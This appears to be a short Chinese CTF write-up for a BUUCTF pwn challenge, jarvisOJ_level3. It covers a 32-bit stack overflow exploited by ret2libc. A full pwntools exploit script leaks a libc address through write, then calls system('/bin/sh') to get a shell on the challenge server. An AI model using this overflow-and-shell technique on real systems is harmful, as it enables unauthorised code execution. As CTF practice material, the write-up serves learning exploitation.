#buuctf
##[HarekazeCTF2019]baby_rop2
##pwn2_sctf_2016
##<center>31.jarvisOJ_level3(ret2libc)</center>
####1. 下载源文后查看文件保护和位数
####2. 发现是 32 位程序,开启了 NX (栈不可执行)
####,利用 ida 反编译查看程序 C 语言代码
#### 发现有 vul 函数进入查看
####3. 发现有 write 和 read 函数,其中 read 函数可以进行栈溢出,可以对此利用 注意:write (1, 输出地址,输出字节数)
因为没有发现后门函数,所以利用 write 泄露 libc 的地址来执行 system (/bin/sh)
###exp:
from pwn import * | |
from LibcSearcher3 import * | |
context.log_level = 'debug' | |
p=remote('node4.buuoj.cn',28074) | |
e=ELF("./level3") | |
write_plt=e.plt["write"] | |
read_got=e.got["write"] | |
main=e.symbols["main"] | |
p.recvuntil("Input:\n") | |
payload1=b"a"*(0x88+4)+p32(write_plt)+p32(main)+p32(1)+p32(read_got)+p32(4) | |
p.sendline(payload1) | |
#p.recvuntil("Input:\n") | |
read=u32(p.recv(4)) | |
libc=LibcSearcher("write",read) | |
libcbase=read-libc.dump("write") | |
system=libcbase+libc.dump("system") | |
binsh=libcbase+libc.dump("str_bin_sh") | |
p.recvuntil("Input:\n") | |
payload2=b"a"*(0x88+4)+p32(system)+p32(0)+p32(binsh) | |
p.sendline(payload2) | |
p.interactive() |
#### 此题无法用 libcsearcher 远程库找到 libc